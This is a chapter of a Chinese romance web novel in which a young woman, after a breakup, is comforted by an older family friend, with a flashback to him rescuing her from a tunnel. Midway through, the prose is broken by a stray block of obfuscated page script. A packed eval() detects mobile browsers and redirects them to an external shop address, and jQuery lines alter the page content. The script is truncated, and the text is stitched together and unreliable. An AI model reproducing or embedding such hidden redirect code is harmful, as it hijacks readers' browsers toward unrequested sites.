苏知茵蓦地回神,一抬头看见了……季洄。
“茵茵,刚才叫了好几声,你都没听见。”季洄俯身,“怎么了?”
“没有……”苏知茵不知该如何应对,“我出来吃点宵夜。”
季洄额前碎发随风而动,额头光洁,一双眼睛映衬着霓虹灯光。
他穿着休闲,上身是细格纹蓝色衬衫,袖子随意挽在胳膊肘,里面穿个白T恤打底,有几分清爽味道。
“我看你脸色不太好。”季洄坐下来。
“哥,你要不要也一起吃点,我请客。”苏知茵指了指桌上的寿司,“我再点一些。”
“不用了,我也来瓶可乐吧。”季洄的目光不经意落在她颈侧的纹身上。
“大婶,再来一瓶可乐。”苏知茵喊道。
大婶送来一瓶可乐,顺便推销道:“生腌八爪鱼要不要尝尝?我自制的酱料。”
“来一份吧。”苏知茵率先说道。
其实苏知茵几乎不吃生食,连生鸡蛋都没吃过,因为妈妈说有寄生虫,吃了不仅会烂肚子,还会跑到脑子里。
苏知茵小时候对此很恐惧,生怕吃了之后,虫子入侵脑子变成失去意识的傀儡,就像恐怖片里演的那样。
这会,苏知茵忽然想尝试一下,“来一份吧。”
很快,大婶把腌好的八爪鱼端了上来,苏知茵鼻尖嗅到一股辛辣鲜香。
八爪鱼的腿还在卷动,苏知茵的筷子停在半空中。
季洄看向苏知茵,带着意味不明的笑意,“不敢吃?”
“老板,再来一份生腌八爪鱼。”季洄转头,笑道:“我陪你。”
苏知茵不想被季洄看扁,“没在怕的。”她咬了咬牙,不给自己思考的时间,筷子下去夹了一块八爪鱼,一鼓作气,迅速塞进了嘴巴里。
苏知茵胡乱嚼了几下,咽下去,一股冷流直冲天灵盖。
由于吃得太急,被芥末呛得七窍生烟,五官畅通,苏知茵剧烈地咳着……
“慢点,这个呛嗓子。”季洄倾过身,给她拍后背顺气,递过去一杯水,关切道:“快喝点水。”
苏知茵感觉嗓子辣辣的,像一把火烧过,她感觉到季洄的手掌轻拍着自己的后背,鼻腔里涌上一股酸意,感觉眼睛也涨涨的……
季洄语气温柔,“好点了吗,这个生腌里面有芥末,酒精,还有辣椒,别把嗓子呛坏了……”
苏知茵执意不肯抬头,眼泪啪嗒啪嗒地落在地上,喉咙里发出抽泣的声音。
季洄意识到她哭了,霎时间手足无措。
他垂眸看着她起伏的肩膀,心口一紧,好像有一股暖流漫过全身,他不由自主地放缓动作,摸摸她的头发,轻轻安抚着她……
苏知茵以为她很果敢,以为她可以眼睛都不眨一下地说分手,以为她可以眉毛都不皱一下地生吃八爪鱼。
可是,再抬头时,她已经泪流满面。
季洄用手帕给她擦了擦眼泪,哪边掉一颗,他就擦一颗……
苏知茵有些尴尬。
她只喜欢躲起来偷偷哭,从不愿在别人面前流眼泪。
何况这个人还是季洄,更让她不知所措。
她抬眼看向季洄,却泪眼朦胧,连他的脸庞都看不清楚。
模糊中,她忽然想起来,许多年前,她刚上初一,因贪吃一串糖葫芦把新数学书弄坏了,还好碰上季洄。
那时候他也是这样,拿出一块手帕,给她擦眼泪,那块手帕她用完放在口袋里,却不知不觉不见了……
苏知茵声音有些抽噎,“季洄哥,你之前借给我一块手帕擦眼泪……我弄丢了,一直没有还给你……”
“嗯?”季洄没有听明白。
苏知茵哽咽着,断断续续地说着,“就是初一的时候,我数学书被糖葫芦弄脏了,蹲在学校哭,也是这样碰到你……你拿一块手帕给我,那块手帕我弄丢了,对不起。”
季洄回忆了起来。
他没想到这样的小事,她还一直记着……
季洄因为两人共同拥有这段记忆而感到喜悦,连心都变得软软的。
他摸摸她的头,轻声道:“没关系,那都是很多年前的事了。”
他抬手接住了一颗颗滑落的泪珠……
苏知茵情绪好一点,注意到季洄手里拿着一块灰色手帕,正注视着她。
忽然之间,苏知茵为刚才突然的情绪崩溃而感到难为情。
她眼神闪烁,只好没话找话,“哥,你有多少块手帕啊?”
“三块。”
“还有一块是什么颜色的?”
“黑色。”季洄答道。
苏知茵被季洄一本正经的回答逗笑,“我就随便问的。”
“你随便问,我认真答。”季洄目光深沉,似黑夜里平静的海面。
“……你觉得我胆小懦弱吗?”苏知茵仰头喝了一大口可乐。
季洄眉目微怔,顿了顿,“还记得有年暑假,那会你初一吧。
你和林宣去山里一个废弃的高铁隧洞玩,你很怕黑,却还是在里面救出一只受伤的小鸟。
恐惧并不代表胆小,你比你想象中更勇敢。”季洄声音低沉柔和,有安抚人心的力量。
苏知茵内心受到触动,仿佛所有的委屈都被抚平,她注视着季洄,在他的眼瞳里看见了自己。
“我记得,后来我把小鸟带回家悉心照顾,半个月后,它还是死了……”
*
那年季洄十六岁,正值高一后的暑假,他在家看书,不知不觉天色慢慢暗了下来。
小季林宣气喘吁吁跑回来说:“小叔,不好了,茵茵不见了,我们本来一起去隧洞玩的,她一开始没进隧洞,我钻出来的时候,她就不见了。”
季林宣吓坏了,那时家里也没有其他长辈在,他只能告诉季洄。
季洄闻言便跟着季林宣一起去找,到了隧道口。
季林宣指着一块大石头,上面有苏知茵的字迹。
“我进S洞。”
季林宣着急地说道:“你看,茵茵在这上面留了字,隧字笔画太多,石头上不好写,她进隧道了,小叔,她肯定在隧道里。”
季洄皱着眉头问道:“那你进去找过没?”
季林宣摇摇头,“……没有,天快黑了,我不敢进去。”
季洄握紧了拳头。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026006|194405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“林宣,那你在这外面等着,我进去,三十分钟后我没出来,就打电话给你爸妈。”
季洄借着洞口的光大步走进去,那个隧洞很长很大,越走越深入,越来越黑。
耳畔很安静,连风声都没有,季洄将电子手表的光照打开,呼唤苏知茵的名字。
“哥哥,哥哥……我在这,我摔了一跤。”苏知茵摇了摇手臂喊道。
季洄依稀听见苏知茵的声音,赶紧循着声音跑过去。
季洄在黑暗中握住她的手,大吼一声,“苏知茵!你吓死我了。”
“我脚崴了。”苏知茵弱弱地说。
苏知茵的脚踝崴了,走不动路,坐在铁轨上,手里还握着一只受伤的小鸟。
季洄找到苏知茵后放下心来,蹲下身,“我背你出去。”
“好,谢谢哥哥。”
季洄把苏知茵背起来,低声道:“你不是很怕黑的吗?还敢进来。”
苏知茵趴在季洄身上说,慢吞吞说着:“我本来在外面等林宣的,等了好久他都没出来,后来我听见鸟叫声,就想进去看看,没想到越走越深,我还被石头绊住崴了脚,天呐,太倒霉了。”
季洄背着苏知茵走出隧洞。
季林宣兴奋地小跑过来,去拽苏知茵的胳膊,“太好了太好了,终于找到了。”
季洄眼神一凛,冷似刀锋,“季林宣,你是男生,把她带到这里玩,现在她的腿受伤了,你要负责任。”
“为什么?!她的腿又不是我弄伤的。”季林宣脸红着辩解。
“我是不小心的。”苏知茵也小声说道。
季洄神色冷峻,“季林宣,这里是能玩的地方吗?告示牌上写了禁止入内,我知道这是你的主意,她腿受伤和你脱不了干系,你自己想想回去怎么说吧……”
“小叔,我们知错了。”季林宣低头,像个犯错的孩子,“以后再也不到这鬼地方玩了……”
*
苏知茵也被带入这段回忆,忽然听到大婶问道:“小姑娘,可乐瓶子我收走了哈。”
苏知茵揉了揉眼睛,“哥,八爪鱼你尝尝?”
季洄吃了一块,感受这份独特的辛辣刺激。
苏知茵叹了口气,“季林宣说我很幼稚,不切实际……”
季洄思忖片刻,沉声说道:“其实我认为每个人的所思所想都是现在的产物,不能用将来的你来苛责现在的自己。另外,季林宣没立场批判你。”
苏知茵眼睛睁大,有醍醐灌顶之感,她内心震动,似一块巨石扔入水面,激起骇浪,“哥,谢谢你开导我。”
“不必这么客气。”季洄轻声说道。
苏知茵释怀地笑了,“我好像对你说过最多的话就是,谢谢你,麻烦你……”
苏知茵心中深感愧疚不安,“我一直在接受你的帮助,却很少有回馈你的时候。”
给予和付出不匹配,关系就会失衡。甚至,父母的爱都不是无私的。
苏知茵迟疑片刻,话到嘴边翻滚了数次,终于说出口,“我和季林宣分手了,你不用对我这么好的。”
“你认为,我对你,只是因为季林宣的关系?”